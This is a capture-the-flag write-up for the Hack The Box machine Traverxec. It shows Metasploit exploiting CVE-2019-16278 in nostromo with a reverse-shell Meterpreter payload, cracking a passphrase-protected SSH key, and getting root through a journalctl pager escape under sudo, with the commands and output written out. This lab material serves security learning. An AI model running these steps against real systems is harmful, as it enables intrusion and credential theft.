Hack The Box - Traverxec

Hack The Box Haystack


Traverxec is an easy box worth 20 points, hosted on As we will see the name is indicative of the vulnerability we’ll leverage to gain our initial foothold. Despite having had difficulty with a few steps, when it’s all said and done the box is rather simple. This writeup is a short one because of that.

Information Gathering

As always, we’ll add the IP of the box to our /etc/hosts file. So, from here on out traverxec.htb points to

Port Scan: Nmap

We begin our reconnaissance by running a port scan with Nmap, checking default scripts and testing for vulnerabilities.

root@kali:/media/sf_Research# nmap -sVC traverxec.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-12 15:40 EST
Nmap scan report for traverxec.htb (
Host is up (0.84s latency).
Not shown: 998 filtered ports
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|_  256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 196.10 seconds

The most important thing to notice here is that the web server running on this box is nostromo 1.9.6. Running a quick search for known vulnerabilities we find CVE-2019-16278, which is a remote code execution bug.

Directory Traversal in the function http_verify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request.

Given the name of this box, we’re certainly going to be exploiting this to gain our initial foothold.



We can use Metasploit’s module for CVE-2019-16278 and get a Meterpreter session on the box.

root@kali:~# msfconsole
[-] ***

         .                                         .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

        o                  To boldly go where no
                            shell has gone before

       =[ metasploit v5.0.58-dev                          ]
+ -- --=[ 1936 exploits - 1079 auxiliary - 333 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > set RHOSTS traverxec.htb
RHOSTS => traverxec.htb
msf5 > set LPORT 80
LPORT => 80
msf5 > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST
msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 1337
LPORT => 1337
msf5 exploit(multi/http/nostromo_code_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/http/nostromo_code_exec) > set target 1
target => 1
msf5 exploit(multi/http/nostromo_code_exec) > run

[*] Started reverse TCP handler on 
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
[*] Sending stage (3021284 bytes) to
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 1 opened ( -> at 2019-12-17 13:27:54 -0500

meterpreter > 

User Flag

After some manual exploration we find some interesting content inside of the /var/nostromo/conf directory. There’s an .htpasswd file, but we don’t need to use that, at least not the way we’re going about this. What’s interesting in this directory is the configuration file, nhttpd.conf, which indicates the existence of another folder we need to take a look at.

meterpreter > cd /var/nostromo/conf
meterpreter > ls
Listing: /var/nostromo/conf

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  41    fil   2019-10-25 15:20:50 -0400  .htpasswd
100644/rw-r--r--  2928  fil   2019-10-25 14:43:20 -0400  mimes
100644/rw-r--r--  498   fil   2019-10-27 16:12:13 -0400  nhttpd.conf

meterpreter > cat nhttpd.conf

servername    traverxec.htb
serverlisten    *
serveradmin   david@traverxec.htb
serverroot    /var/nostromo
servermimes   conf/mimes
docroot     /var/nostromo/htdocs
docindex    index.html


logpid      logs/nhttpd.pid


user      www-data


htaccess    .htaccess
htpasswd    /var/nostromo/conf/.htpasswd


/icons      /var/nostromo/icons


homedirs    /home
homedirs_public   public_www

The configuration file above indicates the existence of a public_www directory inside the /home directory. After some trial and error, we can determine that this is David’s home directory, as he’s the admin.

meterpreter > cd /home/david/public_www
meterpreter > ls
Listing: /home/david/public_www

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  402   fil   2019-10-25 15:45:10 -0400  index.html
40755/rwxr-xr-x   4096  dir   2019-10-25 17:02:59 -0400  protected-file-area

Now we find a directory named protected-file-area inside of /home/david/public_www. This folder contains backup-ssh-identity-files.tgz, which we can hopefully use to gain user access to the box as david.

meterpreter > cd ./protected-file-area
meterpreter > ls
Listing: /home/david/public_www/protected-file-area

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  45    fil   2019-10-25 15:46:01 -0400  .htaccess
100644/rw-r--r--  1915  fil   2019-10-25 17:02:59 -0400  backup-ssh-identity-files.tgz

meterpreter > download ./backup-ssh-identity-files.tgz ./
[*] Downloading: ./backup-ssh-identity-files.tgz -> .//backup-ssh-identity-files.tgz
[*] Downloaded 1.87 KiB of 1.87 KiB (100.0%): ./backup-ssh-identity-files.tgz -> .//backup-ssh-identity-files.tgz
[*] download   : ./backup-ssh-identity-files.tgz -> .//backup-ssh-identity-files.tgz
meterpreter > 

We can download the backup-ssh-identity-files.tgz file through our Meterpreter session, and then extract it on our Kali box.

root@kali:~# tar -zxvf backup-ssh-identity-files.tgz

When we try and use the keys we’ll see that David has set a password required to unlock them, annoying. Using ssh2john we can create a hash of the private key to use to brute force the key through john.

root@kali:~/home/david/.ssh# python ~/Tools/ssh2john.py id_rsa > id_rsa_hash
root@kali:~/home/david/.ssh# ls -lah
total 24K
drwx------ 2 1000 1000 4.0K Dec 15 19:55 .
drwxr-xr-x 3 root root 4.0K Dec 12 20:27 ..
-rw-r--r-- 1 1000 1000  397 Oct 25 17:02 authorized_keys
-rw------- 1 1000 1000 1.8K Oct 25 17:02 id_rsa
-rw-r--r-- 1 root root 2.5K Dec 15 19:55 id_rsa_hash
-rw-r--r-- 1 1000 1000  397 Oct 25 17:02 id_rsa.pub
root@kali:~/home/david/.ssh# john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)
1g 0:00:00:06 DONE (2019-12-15 19:56) 0.1547g/s 2220Kp/s 2220Kc/s 2220KC/sa6_123..*7¡Vamos!
Session completed

After running john and the rockyou.txt wordlist to try and crack the key, we get hunter. Now that we’ve got the got the keys and the credentials to use them, we can ssh in as David and grab the flag.

root@kali:~/home/david/.ssh# ssh david@traverxec.htb

Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Sun Dec 15 19:54:38 2019 from
david@traverxec:~$ ls
bin  public_www  user.txt
david@traverxec:~$ cat user.txt

Root Flag

David’s home directory has a directory within it called /bin, which sticks out immediately. Exploring that directory we find server-stats.sh. This file appears to use the sudo command, as seen on the last line below.

david@traverxec:~$ ls
bin  public_www  user.txt
david@traverxec:~/bin$ ls
journalctl  server-stats.head  server-stats.sh
david@traverxec:~/bin$ cat server-stats.sh

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 

Knowing that this script is calling journalctl as root means that it’s most definitely going to be what we need to exploit for our privilege escalation. Looking at GTFOBins for journalctl it states that the pager will be invoked (less). We can pop a shell using !/bin/sh, or we can execute basically any commands we’d like if we precede them with !.

After some playing around we can confirm that executing /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service does not require us to enter a password, and does indeed invoke less. All we need to do in order to exploit this is to shrink the terminal window down a bit, under 6 lines, and execute !/bin/bash to get our root shell.

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2019-12-17 10:09:44 EST, end at Tue 2019-12-17 11:38:42 EST. --
Dec 17 11:15:54 traverxec sudo[2264]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Dec 17 11:15:54 traverxec sudo[2264]: www-data : command not allowed ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=list
Dec 17 11:18:40 traverxec sudo[2319]: pam_unix(sudo:auth): conversation failed
Dec 17 11:18:40 traverxec sudo[2319]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Dec 17 11:18:40 traverxec sudo[2319]: www-data : command not allowed ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=list
root@traverxec:/home/david/bin# cat /root/root.txt


This box was really straight forward for the most part. The initial foothold was obvious, and using the Metasploit module made it very easy. Finding the public directory inside David’s home directory via the nostromo configuration was probably the most confusing part, at least from my perspective. Once we found that directory, Meterpreter allowed us to download the backup file of ssh keys quite easily. The keys did have a password, but cracking this was also rather simple since the password would be present on almost any wordlist. The path to root was clear immediately after gaining access as the user. While the method we were to use to exploit it was also clear right away, actually doing so still took me about a day, as I was over thinking it a bit. Traverxec was a fun box, and well named. It was my first box in quite a few months, and a nice reintroduction.